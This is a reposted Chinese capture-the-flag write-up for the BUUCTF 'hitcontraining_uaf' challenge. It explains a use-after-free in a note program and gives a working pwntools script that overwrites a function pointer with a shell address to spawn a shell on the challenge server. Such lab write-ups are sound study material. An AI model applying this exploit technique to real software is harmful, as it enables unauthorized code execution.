[BUUCTF-pwn]——hitcontraining_uaf
生活随笔
收集整理的這篇文章主要介紹了
[BUUCTF-pwn]——hitcontraining_uaf
小編覺得挺不錯的,現在分享給大家,幫大家做個參考.
[BUUCTF-pwn]——hitcontraining_uaf
- 題目地址:https://buuoj.cn/challenges#hitcontraining_uaf
題目給了提示,一個利用UAF漏洞的題目
還是先checksec一下
在IDA中,三個比較關鍵的函數
我們可以發現add會申請兩次內存,第一次申請8個字節,前四個字節指向print_note_content這個函數, 后四個字節指向我們寫入的字符串(count會加1)
delete則會將剛才申請的兩塊空間給刪除(count不會減一), 但是并不會指向NULL
printf函數會調用add申請的第一個8個字節中的前四個字節指向的函數
思路
首先我們可以先add兩次第一個我們稱為a, 第二個稱為b, 注意內容的大小一定要超過8, 這里我們取40,分別為A, B
然后delete掉a(free A, a), 再delete b(free B, b), 這個時候如果我們再次add一個c,并且內容大小設為8
那么第一個8個字節c其實就是b, 就是我們第二個8個字節C其實就是a
這個時候我們寫進去的東西就會覆蓋原有的, 但是原先的指針仍然指向它.
我們就可以可以將print_note_content函數, 改為我們想要執行的函數了
(這個因為比較小輸入fast bin范疇, 所以是先進后出.)
from pwn import*p=remote('node3.buuoj.cn',26828) #p = process('./hacknote') #gdb.attach(p) def add(size,content):p.sendlineafter('choice :','1')p.sendlineafter('Note size :',str(size))p.sendlineafter('Content :',content)def delete(index):p.sendlineafter('choice :','2')p.sendlineafter('Index :',str(index))def printf(index):p.sendlineafter('choice :','3')p.sendlineafter('Index :',str(index))shell_addr=0x8048945add(40,'aaaa') add(40,'bbbb') delete(1) delete(0) add(8,p32(shell_addr)) printf(1)#第二種思路大家也可以看一下 #add(8,'aaaa') #delete(0) #delete(0) #add(40,'aaaa') #add(8,p32(shell_addr)) #printf(1)p.interactive()總結
以上是生活随笔為你收集整理的[BUUCTF-pwn]——hitcontraining_uaf的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: [BUUCTF-pwn]——picoct
- 下一篇: [BUUCTF-pwn]——[BJDCT